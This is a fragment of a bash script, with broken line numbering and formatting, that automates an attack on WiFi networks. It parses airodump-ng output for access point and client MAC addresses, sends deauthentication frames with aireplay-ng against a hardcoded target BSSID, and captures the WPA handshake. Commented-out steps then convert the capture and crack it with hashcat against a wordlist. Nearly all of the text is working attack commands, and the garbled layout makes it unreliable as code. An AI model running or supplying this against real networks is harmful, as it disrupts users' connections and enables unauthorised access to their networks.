7 macs
=$
(grep -o "..:..:..:..:..:.., .*$name" "$HOME/.cache/aircrack/$name-01.csv" |
tail -1)
8 bssid
=$
(echo "$macs" |
awk '{print $8}' |
grep -o "..:..:..:..:..:..")
9 client
=$
(echo "$macs" |
awk '{print $1}' |
grep -o "..:..:..:..:..:..")
10 sudo aireplay-ng
--deauth 10 -a $bssid -c $client wlan0mon
--ignore-negative-one
14 tmpdir
=$HOME/.cache
/aircrack
15 [ -d "$tmpdir" ] || mkdir
"$tmpdir"
16 if ! cd "$tmpdir"; then exit;fi
18 wordlist_dir
="/mnt/data/wordlists"
19 interface
=$
(ifconfig |
grep wlp0 |
sed 's/://' |
awk '{print $1}')
20 # sudo ip link set $interface name wlan0
25 # sudo airmon-ng start $interface
26 # sudo airodump-ng $mon
30 # printf "Enter the BSSID : " && read bssid
31 # printf "Enter the Channel: " && read channel
32 # printf "Enter the wifi name: " && read wifi_name
35 bssid
=F4
:CB
:52:7C
:5F
:C1
37 sudo aireplay-ng
--deauth $deauth_num -a $bssid $mon --ignore-negative-one &
38 sudo airodump-ng
-c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon
42 # while $shouldloop; do
43 # read -r "Got a handshake [y/n] ? : " deauth
45 # if [ "$deauth" = 'y' ]; then
46 # echo "=> Got a handshake"
47 # elif [ "$deauth" = 'n' ]; then
48 # sudo rm $tmpdir/$wifi_name-*;
49 # echo "=> Retrying to get a handshake by Deauthenticating..."
50 # read -r "Enter the Client mac add.: " client_mac;
51 # echo "=> Deauthenticating... $deauth_num"
52 # # sudo aireplay-ng --deauth $deauth_num -a $bssid $mon --ignore-negative-one;
53 # sudo aireplay-ng --deauth $deauth_num -a $bssid -c $client_mac $mon --ignore-negative-one;
54 # sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon;
59 # # move the cap file to the cap_files tmpdir
60 # # mv $tmpdir/$wifi_name*.cap $tmpdir/cap_files/;
62 # # convert the cap to hccapx format for hashcat
63 # cap2hccapx $tmpdir/$wifi_name-01.cap $tmpdir/$wifi_name.hccapx;
65 # # remove unneaded files
66 # # sudo rm $tmpdir/$wifi_name*;
68 # # Start the hash cracking with hashcat?
69 # read -r "Start cracking now with hashcat [y/n] ? " start_hashcat
70 # if [ $start_hashcat == "y" ]; then
71 # hashcat -m 2500 $tmpdir/$wifi_name.hccapx $wordlist_dir -o $tmpdir/hashcat-result-$wifi_name.txt
72 # echo "=> If recovered the file will display"
73 # cat $tmpdir/hashcat-result-$wifi_name.txt
75 # echo "=> Your captured file at $tmpdir/results"